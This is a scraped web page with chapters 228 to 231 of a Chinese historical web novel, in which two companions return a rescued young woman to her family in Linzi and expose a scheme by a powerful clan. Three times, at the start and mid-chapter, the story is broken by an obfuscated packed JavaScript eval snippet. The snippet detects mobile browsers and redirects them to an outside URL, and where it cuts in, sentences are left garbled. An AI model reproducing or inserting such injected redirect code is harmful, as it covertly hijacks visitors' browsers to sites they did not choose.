;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972146|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>韩登听后瞬间就不乐意了,指着许姑娘不满的问道:“那她为什么……” “堂堂七尺男儿,拿自己跟女人比较,用你们关中话说,你简直羞先人,亏你达~” “我……” 跟着这俩人,许姑娘原本糟糕透顶的心情和抑郁到快要自闭的精神状态,也被崎岖难行的路程和他们之间奇奇怪怪的对话转移了注意力。 其实她原本性子就很活泼,只是遭逢大难后受到了打击,如今见这两人压根就不在意自己,旁若无人的开玩笑和互相诋毁,也就恢复了一些心态。 “恩人,你们…你们好有胆量,这样的夜路都敢走……” 凌晨还没回话呢,韩登就抢先反问道:“这有什么稀奇的?我以前经常夜里出门,下大雨、电闪雷鸣的都要去。” 许姑娘略微惊讶的看向韩登,这位公子以前一定吃过不少苦,雨夜还要出去,若不是有迫不得已的事情,谁会在那种天气出门啊! “公子以前是做什么的?请恕奴见识浅薄,不知道什么活计要雨夜出去……” 这次轮到凌晨抢答了:“他以前是个采花贼,专门翻墙跳窗钻人家姑娘闺房的,被发现了还要**全家。” “啊?” “哎你……” 许姑娘听到这话后,畏惧的低下头去,往凌晨身边靠了靠,不着痕迹的离韩登远了点。 山顶的风很大,吹的三人衣服猎猎作响,凌晨非常中二的张开双臂,感受着风吹脸颊的清爽和舒适,好久没有吹过旷野的风了,真舒服啊~~ 许姑娘站在凌晨身侧,裹紧了身上的衣服,两个胳膊肘紧紧贴在腋下两侧,被风吹乱的头发肆意飞舞。她伸出手,将头发撩到耳后,看向灰白的天空。 韩登不断的整理自己被风吹乱的发型,秦王殿下虽然对许姑娘没什么想法,但有异性在身边,他还是习惯性的注重起了自己的外在形象。周边的美景先放一放,头可断,发型不能乱。 空旷的山顶遍布野草碎石,只有一棵参天大树傲立在风中。三人并排立在树下,远处的层峦叠嶂若隐若现,云海翻腾在山谷之中,他们站立的位置却在云海之上,这种奇妙的感觉前所未有。 天高处也有散云,如同灰色的炊烟一样被大风吹走,以肉眼可见的速度从眼前飘过。原本灰白色的天空也透出了一丝微黄的色彩,慢慢变为橙红。 地平线尽头慢慢钻出一个光点,散发出的光芒映红了整片天空,寒夜散去,旭日东升。 笼罩在神州大地的乱世阴霾、盘踞在许姑娘心头的灰暗际遇,都如同四周的山石草木一般,被朝阳的热烈和明媚透射照亮,天光破晓,云开日出。 凌晨心底顿生豪迈之气,扯着嗓子大声唱了起来—— “纵马江湖道~今生任逍遥~ 英雄不为红颜折腰~ 豪情比天高! 一身冷傲骨~天地来打造~ 剑荡群魔鬼神惊~ 男儿正侠少! 手握残阳沥血剑~心有冷月凝霜刀~ 绝顶一览众山小!!” 第228章 临淄行 工作是为了生活,但生活不是只有工作。 欣赏完日出东方的绝美景色之后,凌晨就更不想回去上班了,带着许姑娘和逆子一同下山,朝着临淄城而去。 路上听许姑娘说,她家是干海鲜的。 临淄离海边其实不远,海鲜又因为形状怪异、口味腥气,内陆的贵人们基本都吃不惯。再加上没有冷藏保鲜的运输技术,等拉到地方鱼早就翻白眼了,很难在异地形成庞大的市场需求。 能够接受并且爱吃的人,基本都住在靠海吃海的地区,哪里需要绕一大圈去她家买?自己出海捞不香吗?还是钱多烧的慌? 所以,估计连许姑娘自己都不知道家里人是靠什么为生的,但凌晨和韩登却猜到了个大概—— 许家高低也得是个私盐贩子。 盐这玩意儿在大郑属于战略物资,跟铁是一个级别的。这是关乎国计民生的东西,比后世的**还暴利,一大片金山就在家门口,谁能忍住不拿? 那么问题来了,敢干这种掉脑袋生意的,家中势力背景不说手眼通天吧,至少也得黑白两道都熟才行。 不然干鸡毛? 许姑娘的父亲,最低最低也得是个临淄婆罗门。 这种人物的女儿能被绑上山,本身就已经很猎奇了,而官府里和绿林中竟然无一人出面说情或者出手救援,这对吗? 官兵会被区区四个**贼和一群乌合之众吓住?无法从他们手中救出许姑娘? 所以啊,这其中必然还有隐情。 凌晨已经迫不及待想要到许家一探究竟了,八卦之火熊熊燃烧啊~~ 韩登觉得很无聊,他现在突然觉得,汴京其实也不是那么枯燥,至少还有姑娘陪自己喝花酒。 而不是在这里帮小姑娘找妈妈。 在河边清洗完衣服后,大太阳一会就晒干了。路上遇到一辆下山的牛车,三人一块坐了上去,挤在充斥着人畜粪便味的青草、柴火、装满了野货和草药的麻袋堆里,晃晃悠悠的往山下走去。 临淄,是古时候的齐国都城。 中国历史上的第一座公立青楼,就是管仲在这里建立起来的。(提管鲍之交的,统统拉出去,打开保险!) “九合诸侯、一匡天下”的传说还未散去,齐鲁大地依旧人才辈出,青州军在江淮战场上的勇猛表现更是让天下人重新回忆起老牌大区的强悍战力。 六七年间,先有乱世枭雄赵世中给了腐朽的大周王朝沉重一击,后有济州大族出身的王臣鹤一鸣惊人,威震关东! 他用刚柔并济的手段将乱成一盘散沙的关东大族们拧成了一股绳,率领他们凭借着强横的实力加入新生的大郑集团,让文家能够在这么短的时间内问鼎天下。 如果他当时选择逐鹿中原,今天这个天下姓什么,还真不好说。 现在让他坐镇东南,对标唐国,中书门下和文训的意思很明显:郑军进入金陵之日,就是王臣鹤加封齐王之时。 但远在庐州的王臣鹤怎么也不会想到,自己在前线累死累活的当牛马,凌晨和韩登却偷偷跑到他老家旅游去了,还搞起了“绝世大能、历练红尘”的那一套,也是有够闲的。 有那功夫,你们还不如来庐州帮我一起对付温茂,老头硬着呢~ —— 牛车刚刚驶入下山后的官道上时,就遇到了一辆驴车。 对方那头驴不知道抽了什么风,在看到迎面而来的老牛后,突然发疯乱跳乱跑,两辆木车猛的撞在一起,将背坐着的凌晨撞歪,许姑娘的脑袋直接晃过来顶在他的下巴上,疼的他眼泪花都要出来了! 韩登为了保持自己的风度,不顾凌晨劝阻非要逞能的耽在车框边上,这会好了,冷不丁来了这么一下,把孙子直接从车上甩了下去,滚了两个圈后,一身衣服和头发上沾满了黄土和草屑。 “**!” 韩登从地上爬起来后,满脸怒容的握紧拳头就朝着对方的驴车走去,今天不把他**…… “对不住!对不住几位!我不是个东西,我这牲畜更不是个东西,你们打我吧!别打这牲畜,打坏了我就没法耕地了,来,打我吧!” 对面驾车的汉子第一时间就跳了下来,先是将牵驴的绳子绑在车辕上,顺手从地上捡起一根枯木棍,径直递到怒气冲冲的韩登手里,蹲下身子抱住头,一气呵成。 “啊你……啊这……那我……” 韩登满腔的怒气瞬间就被对方积极的认错态度和迅雷不及掩耳的认错速度给泼灭了,握着棍子僵在原地,打也不是,骂也不是。 捂着下巴的凌晨和抱着脑袋揉搓的许姑娘同样也从车上站了起来,凌晨也准备下车后见人就打,可一见对方这模样,还能说啥? 拉他们的农汉见他们都不动了,于是便下车上前,将蹲在地面上的对方车主扶了起来,叹着气对韩登说道:“要不……就给我个面子?” 韩登无奈的将手中棍子往地上一丢,揉着屁股暗骂倒霉,低着头往车框旁走去。 “谢谢老哥了,我给你鞠一个~” “哎使不得使不得,又不是什么大事。” “受我一拜受我一拜!” “那我也还你。” “哎是我不对,给你们添麻烦了,合该受着~” “哪里哪里,牲畜犯病也是常有的,哪能拿这个来说事,哎哎哎~” 凌晨和韩登目瞪口呆的看着两个汉子满口歉意的互相抱拳,又互相鞠躬,又互相单膝下跪,又夫妻对拜…… 麻了。 不愧是孔孟之乡,礼仪之邦啊! 接下来的路程,许姑娘正坐着看向前方,凌晨扒着车框看向左前方,韩登也终于肯老老实实坐回框内了,拉着边缘警惕的望着右前方。 一旦坐上了车,就得时刻小心着,不能因为不是自己在开就觉得万事大吉了。更不能将脚搭在副驾驶上,或者将头埋在主驾驶方向盘下面。 临淄城跟汴京比起来差远了,城门和吊桥处有些地方还有点残破,前些年战乱的痕迹依旧有迹可循。 守城的士兵也照例找韩登和凌晨要 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正巧这时,迎面走来一个白衫秀才,大哥心痒难耐,便伸手拦住秀才好奇的问道:“劳驾,烦您帮我瞅瞅,这上面的几个字怎么念?” 秀才也挺热心,当即就和大哥并排站在一起后,伸出一只手握住扇面,将目光落在了大哥手指的章印处—— “秦……秦王韩持……” 大郑皇城司,是文训秘密建立的一支覆盖全国的谍报机构,最高长官皇城司指挥使,简称皇城使。 现任皇城使正是曾经的文府大管家、冯延的老同学——谢荣。 韩登的扇子出现在临淄城市面上还不到一个时辰,皇城司青州府分部的快马,已经飞驰在前往汴京的路上了。 这个就叫专业。 算算时间,许姑娘被抓上山已经过去两个月了。 当凌晨和韩登一左一右护送着许姑娘来到宽阔气派的许府大门前时,成功的又被门房给拦了下来。 现在的许姑娘除了把脸洗干净之外,和乞丐没区别,还穿着男人的破旧衣服,根本不像一个富家小姐。 但是,当她泪眼婆娑的撩起头发露出正脸后,门房还是不让他们进门,这就有问题了。 “走走走!哪里来的野叫花子?敢在这里冒充我们小姐?!小姐两个月前已经被歹人所害,阖府上下伤心欲绝,已经为她办了葬礼,你要讨口子,好歹也打听清楚情况!” 许姑娘又急又哭的想要张口辩解,凌晨连忙拽着她的胳膊,将她拉着离开了府门,来到了一旁。 “你先别着急,咱们都到你家门口了,难不成还会进不去?你不要哭,跟我详细说说你家里的情况。比如被掳的那天是因为什么出门、都有谁知道行踪、随行的都是谁、以及家里都有什么兄弟姐妹、或者你有没有婚约、相公之类的。” 韩登皱着眉盯着台阶上的门房,门房同样也盯着他,双方默契的进入了一场“谁先眨眼谁是孙子”的决斗中。 第229章 轻生 许府西苑,整座庭院挖出一片巨大的水塘,灰色的石砖平整的铺在中间行成水上平地和十字道路,一直延伸到主屋和两旁通透的游廊,仔细看去,还是活水穿苑而过。 晚春的阳光柔和的照射在院落中,水中藻荇交横,波光粼粼,鱼儿停悬,静若浮空;两旁游廊顶上的青瓦檐角精致,错落分明,黑兽曲脖抬爪,白鸽展翅欲飞。 院子中央被清新水汽包围着的中央庭台上,一个身影消瘦,衣着得体的妇人正在懒懒的晒着太阳。 头戴银钗如意,末端的祥云图案挂着一排翠珠流苏,发髻高盘起,手握鹤羽裁剪的小扇子,轻轻扑风。 一个丫鬟模样的女孩双手垂在身前,急匆匆的从外面月门走了进来,快速奔至妇人身边,俯下身子低声轻语几句。 妇人原本悠闲平静的脸色瞬间微变,一双桃花眼瞪得滚圆,扭头看向丫鬟,露出侧面的鹅蛋下颚线和修长脖颈,紧接着眯起了眼睛。 “笑弥勒是怎么做事的!收下银子竟然没有结果了她,还让她从山上逃了下来!” 丫鬟低头,不敢作声。 妇人将手中的扇子一丢,起身皱眉道:“他们现在何处?还在府门外吗?” “在的。” 妇人双手并在身前,盯着地面和水中来回踱步了几次后,斜眼看向丫鬟,朝她招手道:“过来。” 丫鬟连忙低着头凑到妇人身边,妇人伸出戴着银镯玉环的手臂,附耳低语,听不清说些什么,只能看到嘴唇微动。 许府外,门房终究还是没瞪过韩登,揉着眼睛厌恶的看了韩登一眼,别过脸转过身去。 韩登眨着眼睛哈哈大笑起来,心满意足的哼了一声,走到了一旁的许姑娘和凌晨身边。 “怎么办?他们不认,要不还是报官吧~我感觉是高门大户通有的宅斗,是也不是?” “是个**,比那复杂多了。”凌晨听完许姑娘哭哭啼啼的诉说后,双手叉腰望着许府大门,盘算着该怎么办。 许姑娘是妾身所生的庶出,由于母亲地位低下,所以她一直被放在主母院子里养着,在家中兄弟姊妹里排行老大。 几年前,出于家族联姻的目的,老许把女儿嫁给了同为临淄大户的封家。 众所周知,包办婚姻跟开盲盒一样刺激,许姑娘运气还不错,封家郎君书读的好,人长得也不是那种歪瓜裂枣,俩人过了一段甜蜜幸福的日子。 大郑立国后,科举重开。 为了让寒门庶子们有点上升的希望,不至于落榜后心怀怨恨搞自主创业;也为了平衡豪门大族的**垄断,不让他们对皇权造成威胁。在文训的有意干预下,以往的举荐制比重渐渐降低,有次序的淡出取仕通道。 封家是诗书传家的临淄大族,但再大,也大不过即墨钟家和济州王家。 这俩都是开国家族。 具体的情况就是:钟莺哥哥的老婆,也就是辅国夫人的亲嫂子,她的亲表妹,看上了许姑娘的丈夫。 而且他考试考的不错,青州府第二。在举荐制被制约的当下,钟家需要笼络这样的科举精英为我所用。 不管是走举荐还是科举,只要是我的人就行了。 但那位姓封的男人还要点脸,干不出陈世美的事,于是便婉言谢绝了钟莺的嫂子的表妹的暗送秋波。 女人横刀夺爱起来,比男人更加狠厉阴毒。 在她的授意下,青州官府故意打压封家,企图用高压逼迫封公子就范,乖乖跟许姑娘和离,再跟她结为连理。 谁也没想到的是,那封公子是个恋爱脑,直接辞官不干了。宁可负了天下,也不肯负了许姑娘。 这么一来,对方直接恼羞成怒,得不到就毁掉,暗的不行来明的,软的不行来硬的! 于是,封公子在某天出门后,就再也没有回来。过了七八天,封家收到了一封信,信中要求许姑娘经由泰山去兰陵郡救自己的丈夫。 许姑娘就这么落入了旧禅寺F4的手中。 钟莺的嫂子的表妹的意思是:先奸后杀。 乱的一塌糊涂。 这事凌晨和韩登还不太好一刀切,毕竟牵扯到钟莺和王臣鹤,而且就算他们能帮许姑娘讨回公道,那位封公子会不会嫌弃许姑娘,嗯……难说。 回不去从前了。 连韩登都听沉默了,他跟凌晨一样,深谙人性的丑恶和阴暗。眼下这种情况,讨回公道就意味着要向全天下人宣告许姑娘被歹人关在贼窝里两个多月。女子的清白声誉还是很重要的,总不能说那些**如麻的贼人圣心如佛,压根没碰许姑娘吧? 谁信啊! “咋办?” “我特么哪知道怎么办?” 许姑娘抹了一把眼泪,泪眼婆娑的抬起头,最后望了一眼再熟悉不过的自家大门,轻轻叹了一口气,低下头缓缓转身,往远处走去,留下凌晨和韩登面面相觑。 她虽然还活着,却已经被开除了人籍,有家不能归,有亲不能认,也许死在许府给她办过的那场葬礼中,是她最体面的结局。 她在前面走着,凌晨和韩登在后面跟着,也不敢出声喊她。 家附近的街巷还是原来的模样,行人往来,有些店铺的掌柜她甚至都认识,却不能再上前交谈了。她的公道要是讨回来,许家、封家几百口人也就该烟消云散了。 而且…… 如今这副残花败柳之躯,让她甚至都没有勇气去见丈夫一面,万一他表现出哪怕一丝丝嫌弃,都是许姑娘无论如何也不能接受的。 再说了,丈夫这会在哪,还活着没,都是未知数。 错的不是自己,是这个世界。 身后远远跟着的韩登皱眉向凌晨问道:“要不你去把那女的抓来,丢到城中乞丐堆里,也算是给这丫头报仇了。王兄和嫂子那边我去说,恶人我来做,大不了撕破脸。” 凌晨闻言挑眉道:“闭嘴吧你,对就是对,错就是错,老子会顾虑他们夫妻的感受而不好下手?我唯一顾忌的是许姑娘的名声。” “嗯……啧,唉!” 孝妇湖畔,日渐西斜。 许姑娘独自一人立在湖边的平石上,望着远处的城廓街巷,发了很久的呆。 就在韩登和凌晨无聊到互相石头剪刀布时,她突然转过身子,对着二人微微道福:“诗画能得二位公子仗义相救,得脱炼狱,内心属实感激不尽。怎奈我已是丧家之犬,不能报答二位的恩情了……” 凌晨背起双手,替女孩的遭遇惋惜不已,却没有什么好办法。 韩登摆着手说道:“没事,我们也是偶然间碰到了,顺手为之,谈不上什么谢不谢。” 许姑娘再次郑重的向二人道谢后,转过身去面向湖面,突然毫无征兆的纵身一跃,“噗通”一声跳进了水中! “**!” “啊?!” 二人俱是面色一惊,凌晨立刻冲到岸边一个猛子扎进水里,跟**一样拨着水蹬着腿,费力的往挣扎的许姑娘身边游去。 韩登也慌了,左右看了看后,从一旁岸边停放的乌蓬船上取过来一根长竹蒿,双手握着跑到河边,伸长了递向凌晨。 凌晨抓住许姑娘后,用胳膊勾住她的脖子,背拖着她往岸边游。韩登这狗东西不知道是不小心还是故意的,一竹竿戳到他的脑袋上,疼的凌晨火辣辣的直挠头。 “草!看着点啊!” “不…不小心的,太长了不好握,你赶紧快抓住,我拉你们上来!” 凌晨骂骂咧咧的一把抓住竹竿,韩登在岸边使劲往上拽,终于有惊无险的把两人从水里拉了上来。 费力的将许姑娘拖到草地上后,凌晨感觉胳膊肌肉有点发酸。妈的!自己游泳本身就很费力,还拖着许诗画,还被韩登这蠢货戳了一下脑袋,火辣辣的疼,心情糟糕到了极点! 许诗画静静的躺在草地上,浑身湿漉漉的,头发散贴在脸颊和额头上,脸色发白,一动不动。 气喘吁吁的凌晨烦躁的对韩登吼道:“愣着干什么?给她做心肺复苏和人工呼吸啊!” 面对真正生出火气的凌晨,韩登真不敢顶嘴,可……可……心肺复苏和人工呼吸是个什么东西?我实在不知道啊!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982833|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见韩登还傻愣在原地,凌晨这才想起来他不懂,骂了一句“废物”后,只能自己拖着一身沉重的湿衣服,把许诗画放平,双手叠在一起放在她的胸口处,使劲快速按压。 “噗~” 昏迷的许诗画一连吐了好几口水,却还是没有苏醒的迹象,凌晨将食指和中指放在她的人中,气息很微弱。 他急忙捏住她的鼻子,掰住下巴把嘴拉开,“哈——呼——哈——呼——” 立在一旁手足无措的韩登目瞪口呆的看着凌晨离谱的操作,这……这这这!不愧是他啊,都这个时候了,还有心情在**里这么…… “咳咳!!” 在凌晨不断的人工呼吸和按压胸腔下,许诗画终于有了反应,猛的咳嗽出声!吐了两口水后面色难受的捂住胸口,侧着身子翻转,小腿曲起,侧脸贴在草地上大口大口的喘着气。 韩登僵在了原地,这也行?! “哪呢?在哪呢?!” “看到了,在这儿!就是他们!!” 就在凌晨长松了一口气,瘫软的躺在草地上疲惫不堪的休息;许诗画扶着草地半撑着身子、难受的咳肺管子里的呛水时,岸边土路上出现了一阵叫嚷之声。 先前许府门口的那个门房,带着七八个捕快差役来到了他们头顶,湿漉漉的凌晨和许诗画不好分辨,但跟自己瞪眼的韩登他却记得真切,于是便兴奋的伸手指着他说道: “卫捕头,就是他们三个!胆敢冒充我们已故的小姐,而且我家主人严重怀疑小姐当初被害就是跟他们有关,请你一定要将他们捉拿下狱,严刑拷问!” 凌晨躺在地上,身子没有动,只是伸长脖子向上一望了一眼,目光中杀机必现! 韩登扭头看向这帮人,脸色也冷了下来。 他刚才被凌晨吼的有点不开心,可又不敢和处在暴怒边缘的对方犟嘴,正愁没处发泄呢,解压沙包这就来了。 他冷笑一声,捏的手骨“咯咯”作响”,转身朝着他们走去。 “啊!!” “呃!!” “别……我可是…啊!!” 片刻之后,一地哀嚎。 头破血流捂着脑袋哭喊的、手臂扭曲肘骨变形惨叫的、捂着腹部冷汗淋漓张嘴无声的、脖子上缠着铁链安静入睡的、脸色涨紫被秦王殿下单手捏住脖子提在空中的。 忍住将脖子拧断的冲动,将那门房丢在地上后,韩登扭头看向刚才还不屑一顾、这会早已两股战战的卫姓捕头。 “去,让临淄知州滚过来见本王!” 没一会,又是一大群人来到了孝妇湖边,临淄知州的乌纱帽都是歪的,擦着汗连滚带爬的从马上翻了下来,提着垂衫一路小跑到韩登面前,“扑通”一声就跪了下来。 “下官临淄知州鲁行健,拜见秦王殿下!!不知殿下驾临荒州,有失远迎,万望殿下恕罪!” 下一刻,在场除了躺着的凌晨以外,包括许诗画在内的所有人全部都跪了下来。 比起其他人额头贴地,许诗画虽然跪着,脸却是抬起来的,愣愣的望着面前韩登的身影,大脑一片空白。 作为深闺女子,她没听说过秦王,也不知道是什么级别。 但她知道知州大人是什么级别,他见了青州知府都不用这么卑躬屈膝。 这些天一直和自己待在一起的韩公子…… 究竟是什么人?? 几乎是在同一时间,眼观六路的鲁知州和许诗画同时看向躺在草地上的凌晨。 许诗画心里想的是:凌公子这一路走来,完全就是一副和韩公子平起平坐的好友模样,有时候甚至还隐隐压着一头,他又是什么人? 鲁知州就不一样了,他要考虑的没有那么多,早就听闻秦王殿下出京是去替陛下捉拿擅离职守的殿帅。 如果那个躺着的年轻人不是殿帅,那就准备摘乌纱帽。自己的手下袭击当朝亲王,这官大概率是做不成了。 如果是殿帅,那就更没有担心的必要了,今晚回家想吃啥就吃点啥。 如果还能回得去。 第230章 蝴蝶效应 亚马逊河原始雨林的蝴蝶扇动一下翅膀,就有可能在北美大陆掀起一阵风暴。 装孙子太累了,韩登实在受不了了,凌晨爱装就让他继续装去吧,老子要秦王铠甲——合体! 秦王的名号还是很管用的,这次不仅许府的下人没有阻拦,他们家里的男女老少大大小小都跑出来跪倒在了府门口的道路边上,恭迎千岁驾临。 三扇府门大开,韩登在鲁行健笑呵呵的陪同下趾高气扬的背着手走了进去。 采诗官“解三”陪着许诗画跟在他俩后边,同样皱眉叉腰走了进去,庶女归来。 比起韩登,鲁行健更担心这个解三。 这里就有必要科普一下大郑采诗官的特殊地位了。 御史台,负责监察朝廷各个部门的日常运作和行政成绩,大到朝堂论政议事、小到官员穿着举止,只要你戴上了乌纱帽,就要接受御史台的监督。 他们最变态的地方在于,**权独立。 大郑朝廷所有的官员升迁谪贬,都由吏部评判主持。只有御史台例外,由御史中丞林济远全权负责。 所以,如果不考虑人际关系的话,他们不需要看任何人的脸色。这也是他们敢揭露一切不公、不法事物的底气所在,御史台一个小小的台吏,甚至敢对六部尚书发起**!而且风闻奏事,**错了也没关系。 当然,这也是有次数指标的,你不能每次都胡说八道,还让大家陪着你浪费时间。 这是开封府京畿地区的情况。在地方上,那就全靠这些采诗官了。 大郑律第七十二条规定:只要亮出采诗官的工作证明,无论你是什么部门、在做什么事情,哪怕是正在和小妾滚床单,也不能阻挠采诗官在一旁观察记录。 否则,该部门、该官员停职查看。既然一个采诗官不让看,那就来一群。 那么,万一正在干非法勾当的时候,不小心被采诗官撞见了,可不可以让他出点“意外”呢?比如失足落崖、失足落水、酗酒醉死、在花船上精尽而亡什么的,都是有可能的嘛~ 能想出这种绝妙主意的大聪明,家里可以请高人了。 “事发地点所在主政官员,缉拿下狱;所察事案涉及的一切官员、权贵、百姓,问询受审;地方最高行政长官——知府,入京述职。” 你最好能说出个一二三来。 当然了,采诗官们也是人,虽然在御史台接受了林济远的专业培训,但也很难保证他们不会被腐化或者持有主观立场。 所以,为了防止他们在地方上作威作福或者和地方官员官官相护,朝廷采取了如下措施限制—— 只有监督举报权,没有参与权,他看他的,你**的。 异地监督,也就是关中的监督河北的,河北的监督江淮的,江淮的监督晋阳的。 所有采诗官品级一律限制在七品,如果想再进一步,你就退出御史台,转到其他部门去奋斗。 所以,他们是一群为爱发电,为了吏治清明、肃清惰怠、扫黑除恶的至高理想而奋斗的观察者,而且绝大多数成员都是年轻气盛、嫉恶如仇、将生死置之于度外的热血青年。 人生自古谁无死?留取丹心照汗青! 言归正传。 当韩登冷笑连连的将事情的来龙去脉都说清楚,只隐瞒了许诗画被掳的事儿,瞒说是被山中村户救下,又被自己和解采诗官恰巧撞见后,鲁知州已经汗流浃背了。 治下出了山贼企图**良家妇女、截杀随从仆人的事,自己这个主官竟然毫不知情,这说得过去吗? 如果是许家人没有上报的问题,那抓起来盘问一番,还是会扯到自己不是?毕竟当初封家人来报官后,是自己迫于钟家和王家的压力,不得不推诿拖延的。 被秦王撞见没事,还可以求情走走关系。 被采诗官撞见,无解。 雪上加霜的是,自己的手下还想擒拿秦王,双方还动了手,还没打过!! 哦不对,幸好没打过,秦王要是在自己的地盘上被手下的官差给揍了,那可真是太好玩了。 他不仅是关中军政两届的领头羊,更是太子妃的亲兄弟,未来国舅啊! 在营州海边晒盐的许老爷见到临淄州尉骑着马,上气不接下气的跑来喊自己时,还不知道发生了什么事。可当他听到有个采诗官陪着秦王殿下去了自己家后,人都懵了。 贩盐是不对,但采诗官不应该来晒盐场探查吗?去我家干嘛? 而且,我就贩个私盐,周围晒的又不止我一家…… 怎么还惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982834|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动秦王了?? 临淄郡尉摆着手让他不要再管什么盐不盐的事了,跟盐没关系,总之多说也无益,赶紧先回家吧! 于是许老爷连夜奔回了家里。 回到家里后,本就忐忑不安的许老爷又跟活见鬼似的,看到自己已经死去两个月的女儿,顿时感觉这个世界都不真实了。 凌晨让他别紧张,大家就是坐下来聊聊天,喝喝茶什么的,顺带对对账。 结果这么一合计,所有人都僵住了。 许老爷的大老婆,扛不住巨大的压力,将事情的来龙去脉全部都抖了出来,包括即墨钟家和关东大族们想要控制考上科举的人才的事也都和盘托出。 由此可见,钟莺嫂子的那位表妹,也是个大嘴巴的长舌妇,没有一点**头脑,这是可以往外说的吗? 这么一来,凌晨和韩登又犯难了。 不追究,就无法为许诗画讨回公道。 要追究,就会引起朝廷和地方、皇权和关东望族之间的对抗。 而且由于韩登代表的是关中势力,搞不好,会引发另一个缠绕封建王朝数千年的噩梦——党争。 韩登起身拉着凌晨走到了屋子外面,左右看了看后,低声问道:“怎么办?要不要再继续下去?” 这事儿太大了,根本不是和王臣鹤喝顿酒就能解决的问题,可不敢一头莽进去!尤其是在青州军还在攻略李唐的这个节骨眼上,要是闹腾起来,老文估计真的要看不到一统天下的那天了。 “这还继续个屁啊!你想引起党争啊?” 韩登摸着下巴,目光灼灼的盯着凌晨问道:“说不定陛下就想看到党争呢?” 凌晨低下头思索了很久后,摇着头说道:“找钟家要回许姑娘的相公,再把那个女的按律缉拿下狱,就定性成是女子争夫的性质,绝对不能上升到其他层面,就算要处理,也要等到灭唐以后。” “给关东大族敲个警钟,也给陛下提个醒?” “对。” 二人决定好以后,一起扭头看向屋内。 许诗画坐在左下首的太师椅上,脸蛋上的泪痕清晰可见,委屈、心酸、难过、迷茫。 她应该是感受到了自己的事可能非同小可,但并不清楚具体牵扯的有多广泛。 第231章 态度 勇者面前没有绝路,懦夫眼中尽是悬崖。 凌晨跟韩登一到临淄,许老爷的生活就发生了翻天覆地的变化。老婆因为联合外人谋害女儿,被捉拿下狱了;女儿遭受了天大的冤屈和折磨,妻子竟然是帮凶。 人生处处是惊喜。 还有更惊喜的呢,两天后,临淄知州派兵前往即墨拿人,却没有抓到那位罪魁祸首,反倒是钟莺的哥哥亲自来到临淄城面见韩登了。 “下官拜见殿下。” 许府东苑的正堂里,钟鸣躬身向韩登行完礼后,看了一眼坐在一旁的凌晨和鲁行健,也朝着他们客气拱手。 鲁行健跟钟鸣是熟识的交情,自然客气还礼。凌晨却很不爽,没鸟他。 他能跟钟鸣坐在这里说话,完全是看在王臣鹤和钟莺的面子上。对方却并没有把妻子的表妹带过来,明显就是想斡旋一下,大事化小,小事化了。 “犯妇张桂呢?” 凌晨坐在椅子上毫不客气的直奔主题,直接切断了钟鸣的暖场话,他脸上的笑意缓缓消散,变得一本正经起来。 “这位想必就是解采诗解大人吧?按理说,是该一开始就谈正事的。但如今秦王殿下在此,在下自然要先见礼,再论其他。我们钟家虽然是小门小户,但家中长辈时常教导,无论遇到何种场面,礼数不可失。” 耶?这还是个绵里藏针的主呢~ 凌晨冷笑一声,盯着他的眼睛说道:“你的意思是,我不懂礼数,没有家教喽?” 钟鸣连忙拱手道:“岂敢岂敢,在下绝没有含沙射影、暗讽大人之意,只是就事论事。” “好一个就事论事~”凌晨拍着扶手站起身来,背着手走到堂中,上下打量着钟鸣,围绕着他一边转圈一边说道: “那我就跟你就事论事,你说了这么多废话,犯妇张桂呢?” 钟鸣立在原地不动,眼睛瞟向地面,脸上带着若有若无的笑意,注意力时刻放在凌晨身上: “在下听上门缉捕的官差说了事因,也觉得表妹此行藐视王法、罪责难逃。我即墨钟家累受皇恩,理应配合官府从严惩办,绝不可姑息养奸!” 凌晨绕着钟鸣走了一圈后,来到他面前站定,跟复读机一样再次询问道:“所以,犯妇张桂人在何处?” 钟鸣脸色一变,叹着气说道:“唉!若是官差早些上门,我还能帮官府圈住她,奈何先前未得消息。她早在七天前就说要出海去寻三山,当时在下与贱内都不疑有他,现在想来,缘是她自知纸难包火、寻了由头畏罪潜逃了……” 凌晨差点被气笑了。 三山,是指瀛洲、方丈、蓬莱,都是道家传说中仙人居住的海外之地,虚无缥缈,无迹可寻。 钟家惹不起韩登,更不敢拿他怎么样,于是干脆既不遵命,也不对抗。人跑了,不知道去哪里了,你自己去找吧~ 反正整个青州、琅琊两地都是我们的人,你指挥他们去找,能找得到我跟你姓。 玩的溜啊! 凌晨扭头看向韩登,你这秦王的招牌在人家关东地界,没鸟用啊~ 韩登的脸此刻阴沉的都能滴出水来,原本他还不在意许诗画的这件芝麻小事儿,但是在亲身体会和感受过后,才真正明白了其中的复杂。 